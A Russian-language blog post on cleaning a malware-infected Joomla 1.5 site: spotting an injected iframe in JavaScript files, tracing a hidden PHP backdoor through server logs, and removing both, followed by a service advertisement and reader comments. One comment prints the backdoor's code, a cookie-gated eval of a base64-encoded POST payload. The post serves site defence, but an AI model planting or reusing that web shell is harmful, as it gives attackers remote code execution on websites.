Джумла поиск вирусов

Статья устарела!!!
Новая статья по лечению и удалению вирусов!!!

По горячим следам, одной работы решил написать статью. Обратился заказчик. У него сайт на joomla 1.5. Yandex и Google ругаются на наличие вредоносного ПО на сайте.  Джумла весьма рапространена в Рунете и не только, подобные заказы регулярно попадаются на freee-lance.ru, поэтому статья актуальна.
Далее опишу пошаговый перечень действий.

Как проверить на вирус онлайн?

Для начала выясним, был ли мальчик?  Общую сводку можно посмотреть на http://www.virustotal.com . Этот сервис собирает данные со всех основных антивирусных и выдает подборку результатов сканирования. В подборке более 20 онлайн сервисов. 

В моем случае известно,  что yandex и google обнаруживают "Сайт может угрожать безопасности вашего компьютера или мобильного устройства".

Проверить можно простым запросом. В Яндексе ссылка http://yandex.ru/yandsearch?text=host:your_site.ru+|+host:www.your_site.ru (разумеется надо подставить свой сайт вместо your_site.ru и без http), а в Google — http://www.google.ru/safebrowsing/diagnostic?site=your_site.ru . Гугл более информативен. В моем случае, он выдал когда в последний раз обнаруживались вирусы и что самое важное домены, на которые ссылался вирус. Список доменов надо сохранить, он нам пригодится на следующем шаге.

Шаг 1. Меняем пароли.

Пароли надо поменять и к фтп и к админке Джумлы. Этим мы отсекаем сразу 2 возможных источника угрозы. Вирус на чужом компе и троян в броузере администратора.

Шаг 2. Скрипты на php для поиска вирусов.

В Инете можно найти несколько вариантов, достаточно сложных уже с сигнатурами троянов . Я же предпочитаю пользоваться самописным скриптом. Потому что его простота, позволяет обрабатывать большое кол-во файлов и не задумываться, что может не хватить времени на исполнение. А если и так, то всегда можно запускать не в корне, а просканить какую нибудь конкретную папку, где файлов поменьше. Скрипт рекурсивно обрабатывает и все вложенные папки.

Я запустил скрипт в корне сайта, натравил его на все javascript и искал один из доменов, которые мне подсказал Гугл(помечены выше на картинке). И сразу попал. Скрипт выдал мне 34 файла. Изучив один из них, я понял, что троян стандартно дописывает iframe в конец джаваскрипта. Ифрэйм ссылается на вирусный сайт.

Подозрительных доменов несколько, поэтому я сократил строку поиска, до ;document.write('<iframe , чтобы найти все файлы. После этого скрипт выдал мне уже 442 файла. I love Joomla 1.5 ! 🙂

Для лечения, достаточно удалить эти куски кода, но вначале надо найти источник угрозы. Иначе история повторится. Посмотрев на версию Джумлы, я обнаружил, что она древненькая. Кинув в корень, тестовый чистый от вируса javascript я обновил Джумлу., до последней версии в ветке 1.5. Версию 3.хх ставить желание не было, так как пришлось бы переделывать сайт да и отвалилась бы часть плагинов. После обновления я обнарушил, что тестовый javascript все равно заразился. Поиск в php файлах строки или домена ничего не дал. Чему я не был удивлен, обычно подобное шифруют. Поэтому пришлось искать подозрительное в логах посещений Apache. 

Нарылась вот такая замечательная строчка.

Зачем в Joomla в /images/banners/ лежит php скрипт? Скрипт с таким именем Инете не нашелся, т.е. он не имеет отношения к Джумле или ее плагинам. В каталоге только картинки. Смотрим тело скрипта, часть его зашифровано. Бинго!

Удаляем скрипт. После чего заливаем опять чистый тестовый javascript в корень. Немного побродил по сайту, еще поковырялся в коде, попил в кофе. Вернулся, тестовый джаваскрипт чист. Вот тперь можно удалять и вредоносный код из джаваскрипта. А чтобы не делать это вручную, у программиста есть мозг. 442 файла почистить вручную можно, но долго.

В моем скрипте, для чистки есть простенькая функция patch_f. Вбиваем в параметры полностью вредоносный код и прогоняем по зараженным файлам.

Не забыть проверить и плагины к Джумле. И обновить, те что потенциально небезопасны.
http://docs.joomla.org/Vulnerable_Extensions_List

Сообщить в Google и Yandex что вирусы удалены с сайта.

Это самый простой шаг. Необходимо зайти в Google Webmaster и Yandex Webmaster. Если сайт там не зарегистрирован, то добавить его. В Yandex Webmaster зайти в раздел "Безопасность" и отправить сайт на дополнительную проверку. Обычно она занимает до недели. С последним сайтом Яндекс справился на второй день.
В Google Webmaster — в раздел "Состояние — Вредоносные программы" и также отправить сайт на проверку. Гугл пошустрее и справляется обычно в течение 2-3 дней. С последним сайтом справился в тот же день.

Joomla поиск и удаление вирусов (Часть 2)

Вы можете обратиться ко мне за помощью в лечениии сайта.
Стоимость работы всего 800 руб.
Работа займет 1.5 — 2часа.
 

Вы получаете:
— поиск и устранение вируса и вредоносного кода

— устранение уязвимости

— 6 месяцев гарантии

 

Контакты

icq 346469836

fstrange.ru

me@fstrange.ru

You may also like...

  • Добрый день и большое спасибо! Нашёл более 300 штук паразитов.
    Но поясните, пожалуйста, вот это: » ..Вбиваем в параметры полностью вредоносный код и прогоняем по зараженным файлам..»
    Не понял как удалить. Что куда «вбивать»?

    • Раскомментировать кусок кода после //patch

      и вбить в функцию patch_f(2-й параметр) весь код с ифрэймом. Двойные кавычки экранировать слешем, как в примере.

      Вбить нужно обязательно весь код, чтобы не попортить js

      • Сейчас буду пробовать

      • Что-то я не так, наверное, делаю. Оно мне выдало опять список всех заражённых js (336 шт), и всё. А как же насчёт удалить?

        • Значит вбито не то. Или возможно забыли обновить страницу. 🙂
          Сложно сказать удаленно, что не так.

      • Александр

        Здравствуйте! Большое спасибо за скрипт! сам скрипт я загрузил в public_html, но у меня тоже скрипт нашел все файлы, написал (выдал) их на стр.html, но ничего в них не поменял. и все-таки, как удалить эти строки? вот мой кусок кода:

        header(‘Content-type: text/plain; charset=utf-8’);
        $dir = ‘.’;
        $a = getFilesFromDir($dir, ‘js’, «;document.write(‘<iframe"); //;document.write('<iframe

        //patch
        /*if($a) foreach($a as $v){
        patch_f($v,";document.write('’);»,»);
        }*/

        print_r($a);

        Спасибо!

        • кавычки экранировать надо. там где patch_f($dir,’js’, «третий параметр»);
          2 ошибки

          1) у вас третий параметр не в кавычках.
          2) внутренние кавычки в третьем парметре надо экранировать слэшем, как в примере «

          • Александр

            05.01.2013 02:14, Disqus пишет:

          • коммент умер

  • Спасибо 🙂 забыл сказать

  • hell0men

    Спасибо за скрипт. Вы сэкономили мне кучу времени! Целый день убил на борьбу с вирусом. Он поселился через WordPress файлы pomo.php и footern.php

  • slegor

    Человечище! Огромное тебе спасибо за скрипт и за подсказку!

  • как пользоваться этим скриптом? никак не могу удалить вирус с сайта.

    • Что именно не получается?

  • TrahTOR

    Уважаемый, у вас скрипт очень неоптимизирован — если искать, например, вредоносный код по всем файлам без маски на дешевом хостинге, то либо будет превышение max_execution_time либо хостер забанит за превышение загрузки…
    Лучше не использовать функцию array_flat(), а присваивать результаты поддиректорий сразу в цикле функции getFilesFromDir(), а то счётчик рекурсии на 10000 файлов уже зашкаливает…

    • Во-первых скрипт писался для себя, мне не было нужды его оптимизировать
      Во-вторых проблем с его производительностью у меня пока не возникало, хотя он использовался и на дешевых виртуальных хостингах
      В-третьих при возникновениии проблем, можно просто запускать скрипт не в корне, а в конкретной папке.

      Вы пытаетесь экономить на спичках.

  • idler88

    Спасибо огромнейшее!!! Целый день бился, очень помогла статья посмотреть в нужную сторону. По аксесс-логам нашел-таки заразу! И запускалась эта сволочь так же с какого-то 94-го айпишника. Удалил php-скрипт, и все прекратилось! Небольшие проблемы возникли с вычищением из кучи .js-файлов зловредной строки, файлы читались, строка вырезалась (проверял через echo), но не перезаписывались. Уже и функцию patch_f через fopen-fwrite переписал — безрезультатно. Потом наконец дошло, что дело в атрибутах файлов: оказалось, они все стояли с правами 444 (только на чтение). В итоге вставил в patch_f еще строку chmod($sf, 0644); — права на изменение для владельца — и все сработало!!! Файлы вычистились! Еще раз огромное спасибо!

    Если кому-то поможет, то внутри вредоносного php-скрипта у меня было вот что:
    if(!empty($_COOKIE[‘__utma’]) and substr($_COOKIE[‘__utma’],0,16)==’3469825000034634′){
    if (!empty($_POST[‘msg’]) and $msg=@gzinflate(@base64_decode(@str_replace(‘ ‘,»,urldecode($_POST[‘msg’]))))){
    echo »;
    eval($msg);
    echo ‘bg’;
    exit;
    }}

  • Дмитрий

    Супер спасибо.

  • Алексей

    Большое спасибо за подробное описание. Однако у вас дырка так и не была найдена. У нас похожий случай: все нашли, все вычистили. Но кто-то как-то умудряется продолжать загружать эти файлы нам на сервер. В логах появляются все те же POST с разных IP. Как отследить дырку, через которую файлы заливаются?

    • Найдена, вы невнимательны.

      POST /images/banners/.cache_rxnmmk.php . Вот этот кусок с адресом скрипта. Его я и удалил. Но у вас он может быть под другим именем и по другому адресу. Надо смотреть внутрь.

  • как установить скрипт?

    • Этот вопрос поставил меня в тупик. Скрипт не требует установки. Скопировал, запустил.

      Но я не уверен, что вам стоит экспериментировать, если не поняли как запустить скрипт. Для решения задачи требуется определенный уровень знаний. Хотя бы опыт в установке, настройке и правке подобных скриптов.

  • Спасибо! Работает!)

  • Большое спасибо, классный пост. Внесу свою лепту: скрипт не находит *.js файлы, которые до инъекции были пустыми и в них содержится только вредоносная строчка кода, т.к. ф-ция strpos возвращает 0 — как индекс первого вхождения в данном случае. Поэтому конструкцию «if ($s && strpos($s, $sScan)) {» лучше заменить на «if ($s && !(strpos($s, $sScan)===false)) {«

    • И часто вам приходится видеть используемые js файлы в 0 байт? 🙂

  • Светлана

    у меня скрипт пишет

    Array
    (
    )

    • Значит сигнатура которую вы искали не найдена, попробуйте другую.

  • Алексей Блохин

    Спасибо. Пока не нашел эту публикацию потратил впустую несколько дней. Так как моя архивная версия сайта то же была заражена генераторами (об этом во второй части этой публикации). js вычистил сам в поиском c заменой на точку в Notepad +++, а вот генераторы обнаружил благодаря советам автора и изучением логов. После этого еще привязал доступ ftp к IP, добавил .htaccess автора и закрыл папку administrator дополнительно в настройках панели управления хостингом. И забыл про это, хотя в логах еще долго видел команды генераторам, но этих файлов уже не было.

    • Да, это частая ошибка. Чистят js и все.А через некоторое время все возвращается на круги своя.

  • Виктор

    Очень признателен Друз Фаруелу (так и не понял где имя, где фамилия и как они склоняются, извиняюсь).
    Он моментально решил мою застарелую проблему с трояном Troj/JSRedir-LH на сайте по рукоделию для моей жены http://ipbiv.ru/ и сэкономил мне вагон времени. Другой вопрос, что пора и самому мне овладевать манипуляциями с такими полезными скриптами, но это случилось так не вовремя!
    Короче говоря, примерно год расплодившийся троян сидел в файлах сайта и яндекс его не видел. Теперь стал видеть или эта зараза Troj/JSRedir-LH сама вылезла и активизировалась, потому что пришла пора. Бекапы сайта, которые считал чистыми, все с трояном оказались. А чистить самому навыка нет. И вдруг этот ресурс. Он меня спас.
    Все по делу и без лишней мороки. И впрямь, просто взял и сделал.
    Еще раз большое спасибо!

  • Pingback: Joomla удаление вирусов()